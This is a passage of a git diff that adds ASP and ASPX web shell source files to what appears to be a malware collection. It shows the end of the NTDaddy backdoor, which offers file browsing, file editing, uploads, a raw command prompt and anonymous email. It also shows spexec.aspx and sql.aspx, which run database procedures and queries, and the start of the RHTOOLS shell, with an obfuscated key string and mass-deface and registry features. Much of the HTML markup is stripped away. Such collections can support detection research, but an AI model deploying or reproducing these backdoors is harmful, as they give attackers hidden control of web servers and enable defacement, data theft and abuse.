        Directory") +response.write("
        Archive") +response.write("
        Alias") +response.write("
        Compressed") +response.write("
        ") +response.write("
        Type of Folder: " & f.type & "
        Location: " & f.path) +response.write("
        Size: " & FormatNumber(f.size/1024, 2) & "KB (" & f.size & " bytes)
        Created: ----") +else +response.write("
        Created: " & f.DateCreated) +end if +if f.DateLastAccessed = "" then +response.write("
        Modified: ----") +else +response.write("
        Modified: " & f.DateLastAccessed) +end if +if f.DateLastModified = "" then +response.write("
        Accessed: ----
        Attributes: " & FolderAttributes & "
        ") +case "OpenTextFile" +If FilePath <> "" then +lblioMode=Request.form("optiomode") +lblFormat=request.form("optformat") +set TextFile = fs.OpenTextFile (FilePath, lblioMode, lblFormat) +TextOutput = TextFile.ReadAll +'TextOutput="" +'Do While TextFile.AtEndOfStream <> True +' TextOutput = TextOutput & TextFile.ReadLine +'Loop +TextFile.close +else +FilePath = FolderPath +end if +response.write("
        ") +response.write("
        ") +response.write("") +response.write("") +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write("") +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write(chr(13)) +response.write("") +response.write("

        ") +case "ApplyFileAttributes" +TempAtt=int(Request.form("FileAttribute1")) +TempAtt=TempAtt + int(Request.form("FileAttribute2")) +TempAtt=TempAtt + int(Request.form("FileAttribute3")) +TempAtt=TempAtt + int(Request.form("FileAttribute4")) +TempAtt=TempAtt + int(Request.form("FileAttribute5")) +TempAtt=TempAtt + int(Request.form("FileAttribute6")) +TempAtt=TempAtt + int(Request.form("FileAttribute7")) +TempAtt=TempAtt + int(Request.form("FileAttribute8")) +TempAtt=TempAtt + int(Request.form("FileAttribute9")) +Set f = fs.GetFile(FilePath) +f.attributes=int(TempAtt) +response.write("File: " & FilePath & " attributes have been changed.") +case "ApplyFolderAttributes" +FolderPath=Request.form("RefreshFolderPath") +TempAtt=int(Request.form("FolderAttribute1")) +TempAtt=TempAtt + int(Request.form("FolderAttribute2")) +TempAtt=TempAtt + int(Request.form("FolderAttribute3")) +TempAtt=TempAtt + int(Request.form("FolderAttribute4")) +TempAtt=TempAtt + int(Request.form("FolderAttribute5")) +TempAtt=TempAtt + int(Request.form("FolderAttribute6")) +TempAtt=TempAtt + int(Request.form("FolderAttribute7")) +TempAtt=TempAtt + int(Request.form("FolderAttribute8")) +TempAtt=TempAtt + int(Request.form("FolderAttribute9")) +Set f = fs.Getfolder(selFolder) +f.attributes=int(TempAtt) +response.write("Folder: " & selFolder & " attributes have been changed.") +end select +Select Case TextCmd +case "SaveAs" +TextWrite = Request.form("txtFile") +TextCreateFormat = Request.form("optUnicode") +if textcreateformat = "TRUE" then +tempmsg="Unicode" +else +tempmsg="ASCII" +end if +Set TextFile = fs.CreateTextFile(FilePath, True,TextCreateFormat) +TextFile.Write TextWrite +TextFile.Close +response.write("File: " & FilePath & " Format: " & tempmsg & " has been saved.") +end select +%> +<% +Public CurrentPath +Function ShowDriveLetters() +on error resume next +Dim fs, d, dc, t +dim isReadyColor,TempSize,ShowDriveInfo +Set fs = CreateObject("Scripting.FileSystemObject") +Set dc = fs.Drives +ShowDriveInfo=Request.Form("chkShowDriveInfo") +response.write("") +response.write("") +if showdriveinfo="TRUE" then +response.write("") +response.write("") +response.write("") +else +response.write("") +end if +response.write("") +response.write("") +if showdriveinfo="TRUE" then +response.write("") +response.write("") +response.write("") +response.write("") +end if +response.write("") +For Each d in dc +Select Case d.DriveType +Case 0: t = "Unknown" +Case 1: t = "Removable" +Case 2: t = "Fixed" +Case 3: t = "Network" +Case 4: t = "CD-ROM" +Case 5: t = "RAM Disk" +End Select +if showdriveinfo="TRUE" then +if d.isReady then +response.write("") +else +response.write("") +end if +if d.filesystem = "" then +response.write("") +else +response.write("") +end if +if d.SerialNumber = "" then +response.write("") +else +response.write("") +end if +else +response.write("") +end if +response.write("") +response.write("") +if showdriveinfo="TRUE" then +if d.volumename="" then +response.write("") +else +response.write("") +end if +if d.sharename="" then +response.write("") +else +response.write("") +end if +str="" +str=str & d.driveletter +str=str & ":" +'response.write(str) +if d.isready then +freespace = (d.AvailableSpace / 1048576) +set sp=fs.getdrive(str) +response.write("") +else +response.write("") +end if +str="" +str=str & d.driveletter +str=str & ":" +'response.write(str) +if d.isready then +totalspace = (d.TotalSize / 1048576) +set sp=fs.getdrive(str) +response.write("") +else +response.write("") +end if +end if +Next +response.write("") +response.write("
        Show Drive Info
        File SystemSerial #
        Show Drive Info
        TypeDriveVolume NameShare NameFree SpaceTotal Size
        ...." & d.filesystem & "...." & d.SerialNumber & "
        " & t & "...." & d.volumename & "...." & d.sharename & "" & Round(freespace,1) & " MB...." & Round(totalspace,1) & " MB....
        ") +response.write("

        ") +End Function +Function ShowFolderNames() +on error resume next +Dim fs, f, f1, s, sf ,FP +dim ShowFolderInfo,FolderAttributes +ShowFolderInfo=request.form("chkShowFolderInfo") +FP=Request.Form("FolderPath") +if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then +FP=request.form("RefreshFolderPath") +IP=chr(34) & IP & chr(34) +end if +CurrentPath=FP +Set fs = CreateObject("Scripting.FileSystemObject") +Set f = fs.GetFolder(FP) +Set sf = f.SubFolders +response.write("
        ") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +end if +For Each f1 in sf +if showfolderinfo="TRUE" then +response.write("") +response.write("") +response.write("") +response.write("") +folderattributes="...." +select case f1.attributes +case 0 +FolderAttributes = "Normal" +case 1 +FolderAttributes = "Read Only" +case 2 +FolderAttributes = "Hidden" +case 3 'Extra +FolderAttributes = "Read Only, Hidden" +case 4 +FolderAttributes = "System" +case 7 'Extra +FolderAttributes = "Read Only, Hidden, System" +case 8 +FolderAttributes = "Volume" +case 16 +FolderAttributes = "Directory" +case 17 'Extra +FolderAttributes = "Read Only, Directory" +case 18 'Extra +FolderAttributes = "Hidden, Directory" +case 19 +FolderAttributes = "Read Only, Hidden, Directoy" +case 20 'Extra +FolderAttributes = "System, Directory" +case 22 'Extra +FolderAttributes = "Hidden, System. Directory" +case 23 +FolderAttributes = "Read Only, Hidden, System, Directory" +case 32 +FolderAttributes = "Archive" +case 33 'Extra +FolderAttributes = "Read Only, Archive" +case 34 'Extra +FolderAttributes = "Hidden, Archive" +case 38 'Extra +FolderAttributes = "Hidden, Archive, System" +case 39 'Extra +FolderAttributes = "Read Only, Hidden, Archive, System" +case 48 +FolderAttributes = "Directory, Archive" +case 64 +FolderAttributes = "Alias" +case 128 +FolderAttributes = "Compressed" +case else +FolderAttributes = f1.attributes +end select +response.write("") +if f1.datecreated = "" then +response.write("") +else +response.write("") +end if +if f1.datelastaccessed = "" then +response.write("") +else +response.write("") +end if +if f1.datelastmodified = "" then +response.write("") +else +response.write("") +end if +response.write("") +response.write("") +else +response.write("") +end if +Next +response.write("
        Show Folder Info

        to
        ") +if showfolderinfo="TRUE" then +response.write("
        FolderSizeTypeAttributesCreatedLast AccessedLast ModifiedShort NameShort Path
        " & FormatNumber(f1.size/1024, 0) & " kb" & f1.type & "" & FolderAttributes & "...." & f1.datecreated & "...." & f1.datelastaccessed & "...." & f1.datelastmodified & "" & f1.shortname & "" & f1.shortpath & "\
        ") +response.write("
        ") +End Function +Function ShowFileNames() +on error resume next +Dim fs, f, f1, fc, FP +dim ShowFileInfo,FileAttributes,ShowPrefix +ShowPrefix=request.form("txtShowPrefix") +ShowFileInfo=Request.form("chkShowFileInfo") +FP=Request.Form("FolderPath") +if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then +FP=request.form("RefreshFolderPath") +IP=chr(34) & IP & chr(34) +end if +CurrentPath=FP +Set fs = CreateObject("Scripting.FileSystemObject") +Set f = fs.GetFolder(FP) +Set fc = f.Files +response.write("
        ") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +if showfileinfo="TRUE" then +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +response.write("") +end if +For Each f1 in fc +if showfileinfo="TRUE" then +if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then +response.write("") +response.write("") +response.write("") +response.write("") +select case f1.attributes +case 0 +FileAttributes = "Normal" +case 1 +FileAttributes = "Read Only" +case 2 +FileAttributes = "Hidden" +case 3 'Extra +FileAttributes = "Read Only, Hidden" +case 4 +FileAttributes = "System" +case 7 'Extra +FileAttributes = "Read Only, Hidden, System" +case 8 +FileAttributes = "Volume" +case 16 +FileAttributes = "Directory" +case 19 +FileAttributes = "Read Only, Hidden, Directoy" +case 23 +FileAttributes = "Read Only, Hidden, System, Directory" +case 32 +FileAttributes = "Archive" +case 33 'Extra +FileAttributes = "Read Only, Archive" +case 34 'Extra +FileAttributes = "Hidden, Archive" +case 38 'Extra +FileAttributes = "Hidden, Archive, System" +case 39 'Extra +FileAttributes = "Read Only, Hidden, Archive, System" +case 48 +FileAttributes = "Directory, Archive" +case 64 +FileAttributes = "Alias" +case 128 +FileAttributes = "Compressed" +case else +FileAttributes = f1.attributes +end select +response.write("") +if f1.datecreated = "" then +response.write("") +else +response.write("") +end if +if f1.datelastaccessed = "" then +response.write("") +else +response.write("") +end if +if f1.datelastmodified = "" then +response.write("") +else +response.write("") +end if +response.write("") +response.write("") +end if +else +if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then +response.write("") +end if +end if +Next +response.write("
        Show File Info &
        Show Only:
        to
        ") +response.write("
        FileSizeTypeAttributesCreatedLast AccessedLast ModifiedShort NameShort Path
        " & f1.name & "" & FormatNumber(f1.size/1024, 0) & " kb" & f1.type & "" & FileAttributes & "...." & f1.datecreated & "...." & f1.datelastaccessed & "...." & f1.datelastmodified & "" & f1.shortname & "" & f1.shortpath & "
        " & f1.name & "
        ") +response.write("
        ") +End Function +%> + + + +
        +NTDaddy | fux0r inc. +
        + + + + +
        " & FP) +%> +
        + + + + + + +
        <% =ShowDriveLetters() %>
        <% =ShowFolderNames() %><% =ShowFileNames() %>
        +


        + + + + + + + + + +
        +� Remote Info. + +� Local Info. +
        +
        +User: <%= "\\" & oScriptNet.ComputerName & " \ " & oScriptNet.UserName %>
        +ID: <%=request.servervariables("SERVER_NAME")%>
        +IP: <%=request.servervariables("LOCAL_ADDR")%>
        +HTTPD: <%=request.servervariables("SERVER_SOFTWARE")%> Port: <%=request.servervariables("SERVER_PORT")%>
        +Webroot: <%=request.servervariables("APPL_PHYSICAL_PATH")%>
        +LogRoot: <%=request.servervariables("APPL_MD_PATH")%>
        +Date: <% =date() %>
        +Time: <%=time() %>
        +HTTPs: <%=request.servervariables("HTTPS")%> +
        +
        +Local Addr (What they see.): <%=request.servervariables("REMOTE_ADDR")%>
        +Forwarded from : <%=request.servervariables("HTTP_X_FORWARDED_FOR")%>
        +Via: <%=request.servervariables("HTTP_VIA")%>
        +User Agent: <%=request.servervariables("HTTP_USER_AGENT")%>
        +Wookie: <%=request.servervariables("HTTP_WOOKIE")%>
        +Cache Control: <%=request.servervariables("HTTP_CACHE_CONTROL")%>
        +Interface: <%=request.servervariables("GATEWAY_INTERFACE")%>
        +Protocol: <%=request.servervariables("SERVER_PROTOCOL")%>
        +Method: <%=request.servervariables("REQUEST_METHOD")%> +
        +
        +
        +
        + + + + + + + + + + + + + +
        +� File Upload Utility
        +
        +File :
        + +
        +� RAW D.O.S. COMMAND INTERFACE
        +
        " method="POST"> +

        +
        +
        +<%
        +If  (IsObject(oFile))  Then
        +On  Error  Resume  Next
        +Response.Write  Server.HTMLEncode(oFile.ReadAll)
        +oFile.Close
        +Call  oFileSys.DeleteFile(szTempFile,  True)
        +End  If%>
        +
        +
        +
        +
        +
        +
        + + + + + + + + + + + + + + + + + + + + +
        � Anonymous Email Utility
        From:
        To:
        Subject:
        Body:
        + +
        +
        +
        +
        �[ NTDaddy v1.9 ][ by obzerve ][ for the brothers of fux0r inc. 2k+1 ]�
        + + + + +<% +If Request.ServerVariables("REQUEST_METHOD") = "POST" Then +Set Fields = GetUpload() +FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName +Fields("File1").Value.SaveAs FilePath +End If +%> +<% +Else +Dim anonFrom,anonTo,anonSubj,anonBody +anonFrom = request.form("From") +anonTo = request.form("To") +anonSubj = request.form("Subject") +anonBody = request.form("Body") +Set objMail = CreateObject("CDONTS.NewMail") +objMail.From=anonFrom +objMail.To=anonTo +objMail.Subject=anonSubj +objMail.Body=anonBody +intReturn=objMail.Send() +%> + +|[NTDaddy v1.9 | anon email] +

        Message sent successfully!




        + + + + + +
        + +

        [NTDaddy v1.9 - obzerve | fux0r inc.]

        + +<% +End if +%> + + + diff --git a/web-malware-collection-master/Backdoors/ASP/spexec.aspx b/web-malware-collection-master/Backdoors/ASP/spexec.aspx new file mode 100755 index 0000000..432f4cf --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/spexec.aspx @@ -0,0 +1,341 @@ +<%@ Page Language="C#" %> +<%@ Import namespace="System.Data"%> +<%@ Import namespace="System.Data.SqlClient"%> + + + + + + + + Stored Procedure Execute + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + Database server: + +
        + User id: + +
        + Password: + +
        + Database: + +
        + + +
        + Stored procedures: + +
        + +

        + + +

        +
        + Status: +
        +

        + + + + + + + + + + + + + + + + +

        +

        + +

        +

        +

        +

        + Restart +

        +
        + + diff --git a/web-malware-collection-master/Backdoors/ASP/sql.aspx b/web-malware-collection-master/Backdoors/ASP/sql.aspx new file mode 100755 index 0000000..41d1bb7 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/sql.aspx @@ -0,0 +1,94 @@ +<%@ Page Language="C#" %> +<%@ Import namespace="System.Data"%> +<%@ Import namespace="System.Data.SqlClient"%> + + + + + + + + SQL + + + +
        +
        + + + + + + + + + +
        +
        +
        +
        + + diff --git a/web-malware-collection-master/Backdoors/ASP/tool.asp b/web-malware-collection-master/Backdoors/ASP/tool.asp new file mode 100755 index 0000000..21f1a9f --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/tool.asp @@ -0,0 +1,792 @@ +<%@ LANGUAGE = VBScript.Encode %> +<% +On Error Resume Next +Server.ScriptTimeOut = 7200 +Class FileUploader + Public Files + Private mcolFormElem + Private Sub Class_Initialize() + Set Files = Server.CreateObject("Scripting.Dictionary") + Set mcolFormElem = Server.CreateObject("Scripting.Dictionary") + End Sub + Private Sub Class_Terminate() + If IsObject(Files) Then + Files.RemoveAll() + Set Files = Nothing + End If + If IsObject(mcolFormElem) Then + mcolFormElem.RemoveAll() + Set mcolFormElem = Nothing + End If + End Sub + Public Property Get Form(sIndex) + Form = "" + If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) + End Property + Public Default Sub Upload() + Dim biData, sInputName + Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos + Dim nPosFile, nPosBound + biData = Request.BinaryRead(Request.TotalBytes) + nPosBegin = 1 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + If (nPosEnd-nPosBegin) <= 0 Then Exit Sub + vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + nDataBoundPos = InstrB(1, biData, vDataBounds) + Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) + nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) + nPos = InstrB(nPos, biData, CByteString("name=")) + nPosBegin = nPos + 6 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) + nPosBound = InstrB(nPosEnd, biData, vDataBounds) + If nPosFile <> 0 And nPosFile < nPosBound Then + Dim oUploadFile, sFileName + Set oUploadFile = New UploadedFile + nPosBegin = nPosFile + 10 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) + nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) + nPosBegin = nPos + 14 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosBegin = nPosEnd+4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile + Else + nPos = InstrB(nPos, biData, CByteString(Chr(13))) + nPosBegin = nPos + 4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + End If + nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) + Loop + End Sub + Private Function CByteString(sString) + Dim nIndex + For nIndex = 1 to Len(sString) + CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) + Next + End Function + Private Function CWideString(bsString) + Dim nIndex + CWideString ="" + For nIndex = 1 to LenB(bsString) + CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) + Next + End Function +End Class +Class UploadedFile + Public ContentType + Public FileName + Public FileData + Public Property Get FileSize() + FileSize = LenB(FileData) + End Property + Public Sub SaveToDisk(sPath) + Dim oFS, oFile + Dim nIndex + If sPath = "" Or FileName = "" Then Exit Sub + If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" + Set oFS = Server.CreateObject("Scripting.FileSystemObject") + If Not oFS.FolderExists(sPath) Then Exit Sub + Set oFile = oFS.CreateTextFile(sPath & FileName, True) + For nIndex = 1 to LenB(FileData) + oFile.Write Chr(AscB(MidB(FileData,nIndex,1))) + Next + oFile.Close + End Sub + Public Sub SaveToDatabase(ByRef oField) + If LenB(FileData) = 0 Then Exit Sub + If IsObject(oField) Then + oField.AppendChunk FileData + End If + End Sub +End Class +key = "5DCADAC1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E53205CA01902E59F7273E1902E597A18C51902E59AC1E8F1902E59DE24591902E55F5B0911902E53CF70E31902E597A18C51902E5B2349FA1902E5A422FED1902E597A18C51902E5A8D389C1902E53CF70E31902E53205CA01902E5B3C4CDF1902E5A422FED1902E5BEB61221902E59DE24591902E55F5B0911902E53CF70E31902E54C98DD51902E53CF70E31902E560EB3761902E547E85261902E55AAA7E21902E55AAA7E21902E53205CA01902E5802ED5A1902E5708D0681902E5834F3241902E57B7E4AB1902E57B7E4AB1902E576CDBFC1902E581BF03F1902E53205CA01902E54C98DD51902E547E85261902E552D99691902E53205CA01902E5672BF0A1902E56BDC7B91902E5834F3241902E5659BC251902E53E873C81902E57D0E7901902E5866F8EE1902E5834F3241902E540176AD1902E53B66DFE1902E59AC1E8F1902E5AD8414B1902E5AF144301902E5BD25E3D1902E55C3AAC71902E53205CA01902E5672BF0A1902E58B2019D1902E53205CA01902E55DCADAC1902E597A18C51902E53205CA01902E5A292D081902E5B2349FA1902E59DE24591902E59F7273E1902E55F5B0911902E53CF70E31902E5AA63B811902E597A18C51902E5A422FED1902E5A8D389C1902E5B554FC41902E5AD8414B1902E55AAA7E21902E5B2349FA1902E5A292D081902E59F7273E1902E597A18C51902E59AC1E8F1902E5B554FC41902E5AD8414B1902E5B2349FA1902E5640B9401902E597A18C51902E5ABF3E661902E5B554FC41902E5A422FED1902E5B3C4CDF1902E5AD8414B1902E59AC1E8F1902E5A422FED1902E597A18C51902E5A8D389C1902E547E85261902E59AC1E8F1902E5AD8414B1902E5AA63B811902E53CF70E31902E560EB3761902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E53205CA01902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E55DCADAC1902E5497880B1902E597A18C51902E560EB3761902E53205CA01902E546582411902E53205CA01902E55DCADAC1902E597A18C51902E53205CA01902E5A292D081902E5B2349FA1902E59DE24591902E59F7273E1902E55F5B0911902E53CF70E31902E5708D0681902E5834F3241902E5834F3241902E57D0E7901902E55AAA7E21902E5497880B1902E5497880B1902E587FFBD31902E587FFBD31902E587FFBD31902E547E85261902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E547E85261902E568BC1EF1902E573AD6321902E5672BF0A1902E547E85261902E579EE1C61902E56BDC7B91902E5834F3241902E53CF70E31902E53205CA01902E5B554FC41902E597A18C51902E5B2349FA1902E5A102A231902E59DE24591902E5B554FC41902E55F5B0911902E53CF70E31902E594812FB1902E59931BAA1902E5A8D389C1902E597A18C51902E5ABF3E661902E5A7435B71902E53CF70E31902E560EB3761902E5708D0681902E5834F3241902E5834F3241902E57D0E7901902E55AAA7E21902E5497880B1902E5497880B1902E587FFBD31902E587FFBD31902E587FFBD31902E547E85261902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E547E85261902E568BC1EF1902E573AD6321902E5672BF0A1902E547E85261902E579EE1C61902E56BDC7B91902E5834F3241902E55DCADAC1902E5497880B1902E597A18C51902E560EB3761902E53205CA01902E55AAA7E21902E55AAA7E21902E547E85261902E55DCADAC1902E5497880B1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E560EB3761902E5|337308|1A7023" +startcode = ".:: RHTOOLS 1.5 BETA(PVT) ::." +endocde = "" +onlinehelp = ".:: ONLINE HELP ::.
        " +Function DeCryptString(strCryptString) + Dim strRAW, arHexCharSet, i, intKey, intOffSet, strRawKey, strHexCrypData + strRawKey = Right(strCryptString, Len(strCryptString) - InStr(strCryptString, "|")) + intOffSet = Right(strRawKey, Len(strRawKey) - InStr(strRawKey,"|")) + intKey = HexConv(Left(strRawKey, InStr(strRawKey, "|") - 1)) - HexConv(intOffSet) + strHexCrypData = Left(strCryptString, Len(strCryptString) - (Len(strRawKey) + 1)) + arHexCharSet = Split(strHexCrypData, Hex(intKey)) + For i=0 to UBound(arHexCharSet) + strRAW = strRAW & Chr(HexConv(arHexCharSet(i))/intKey) + Next + DeCryptString = CStr(strRAW) +End Function +Function HexConv(hexVar) + Dim hxx, hxx_var, multiply + IF hexVar <> "" THEN + hexVar = UCASE(hexVar) + hexVar = StrReverse(hexVar) + DIM hx() + REDIM hx(LEN(hexVar)) + hxx = 0 + hxx_var = 0 + FOR hxx = 1 TO LEN(hexVar) + IF multiply = "" THEN multiply = 1 + hx(hxx) = mid(hexVar,hxx,1) + hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var + multiply = (multiply * 16) + NEXT + hexVar = hxx_var + HexConv = hexVar + END IF +End Function +cprthtml = ".:: RHTOOLS 1.5 BETA(PVT)© BY RHESUS FACTOR - HTTP://WWW.RHESUSFACTOR.CJB.NET ::." +Function get_hxno(ghx) + If ghx = "A" Then + ghx = 10 + ElseIf ghx = "B" Then + ghx = 11 + ElseIf ghx = "C" Then + ghx = 12 + ElseIf ghx = "D" Then + ghx = 13 + ElseIf ghx = "E" Then + ghx = 14 + ElseIf ghx = "F" Then + ghx = 15 + End If + get_hxno = ghx +End Function +keydec = DeCryptString(key) +Function showobj(objpath) + showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath)) +End Function +Function showobjpath(objpath) + showobjpath = Left(objpath,InstrRev(objpath,"\")) +End Function +Function checking(a,b) + If CStr(Mid(a,95,13)) <> CStr(Mid(b,95,13)) Then + pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error" + Response.Redirect(pagina) + End If +End Function +Sub hdr() + Response.Write startcode + Response.Write keydec + Response.Write "
        " +End Sub +Sub showcontent() + Response.Write ".:: DRIVES ::.
        .:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "

        " + If Trim(Request.QueryString("raiz")) = "root" Then + Set fs=Server.Createobject("Scripting.FileSystemObject") + Set drivecollection=fs.drives + Response.Write "" + For Each drive IN drivecollection + str=drive.driveletter & ":" + Response.Write "" & UCase(str) & "
        " + Select Case drive.DriveType + Case 0 + tipodrive = "Unknown" + nomedrive = drive.VolumeName + Case 1 + tipodrive = "Removable" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + Case 2 + tipodrive = "Fixed" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + Case 3 + tipodrive = "Network" + If drive.isready Then + nomedrive = drive.ShareName + Else + nomedrive = "" + End If + Case 4 + tipodrive = "CD-Rom" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + Case 5 + tipodrive = "RAM Disk" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + End Select + response.write "Tipo: " & tipodrive & "
        " + response.write "Nome: " & nomedrive & "
        " + response.write "Sistema de Arquivos: " + If drive.isready Then + set sp=fs.getdrive(str) + response.write sp.filesystem & "
        " + Else + response.write "-
        " + End If + Response.Write "Espa�o Livre: " + If drive.isready Then + freespace = (drive.AvailableSpace / 1048576) + set sp=fs.getdrive(str) + response.write(Round(freespace,1) & " MB
        ") + Else + response.write("-
        ") + End If + Response.Write "Espa�o Total: " + If drive.isready Then + totalspace = (drive.TotalSize / 1048576) + set sp=fs.getdrive(str) + response.write(Round(totalspace,1) & " MB
        ") + Else + response.write("-
        ") + End If + Response.Write "
        " + Next + Response.Write "
        " + Set fs = Nothing + Set drivecollection = Nothing + set sp=Nothing + Else + If Trim(Request.QueryString("raiz")) = "" Then + caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")) + pos = Instr(caminho,"\") + pos2 = 1 + While pos2 <> 0 + If Instr(pos + 1,caminho,"\") <> 0 Then + pos = Instr(pos + 1,caminho,"\") + Else + pos2 = 0 + End If + Wend + raiz = Left(caminho,pos) + Else + raiz = trim(Request.QueryString("raiz")) & "\" + End If + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MonRep = ObjFSO.GetFolder(raiz) + Set ColFolders = MonRep.SubFolders + Set ColFiles0 = MonRep.Files + Response.Write "MASS TEST IN " & UCase(raiz) & "

        " + Response.Write "MASS DEFACE IN " & UCase(raiz) & "

        " + Response.Write "UPLOAD FILE TO " & UCase(raiz) & "

        " + Response.Write "PROMPT - SYS INFO - REGEDIT

        " + Response.Write "Root Folder: " & raiz & "

        " + If CInt(Len(raiz) - 1) <> 2 Then + barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1 + backlevel = Left(raiz,barrapos) + Response.Write "<DIR> . .
        " + Else + Response.Write "<DIR> . . 
        " + End If + Response.Write "" + for each folderItem in ColFolders + Response.Write "" + next + Response.Write "
        <DIR> " & showobj(folderItem.path) & "  << PUT

        " + marcatabela = true + for each FilesItem0 in ColFiles0 + If marcatabela = true then + corfundotabela = " bgcolor=""#EEEEEE""" + Else + corfundotabela = "" + End If + Response.Write ":: " & showobj(FilesItem0.path) & "" + marcatabela = NOT marcatabela + next + Response.Write "
          " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes     o.GET.o    o.REN.o    o.DEL.o    o.VIEW.o    o.EDIT.o    o.DOWNLOAD.o
        " + End If +End Sub +Select Case Trim(Request.QueryString("action")) + Case "get" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + MyFile.Copy (destino) + If Err.Number = 0 Then + Response.Write "


        Arquivo: " & caminho & "
        copiado para: " & destino + End If + Case "put" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + If Trim(Request.QueryString("arquivo")) = "" Then + caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + varpath = Trim(Request.QueryString("path")) + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MonRep = ObjFSO.GetFolder(caminho) + Set ColFolders = MonRep.SubFolders + Set ColFiles0 = MonRep.Files + + Response.Write "Selecione o arquivo:
        " + for each FilesItem0 in ColFiles0 + Response.Write "" + next + Response.Write "
        :: " & showobj(FilesItem0.path) & "  " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes     :: SELECIONAR ::
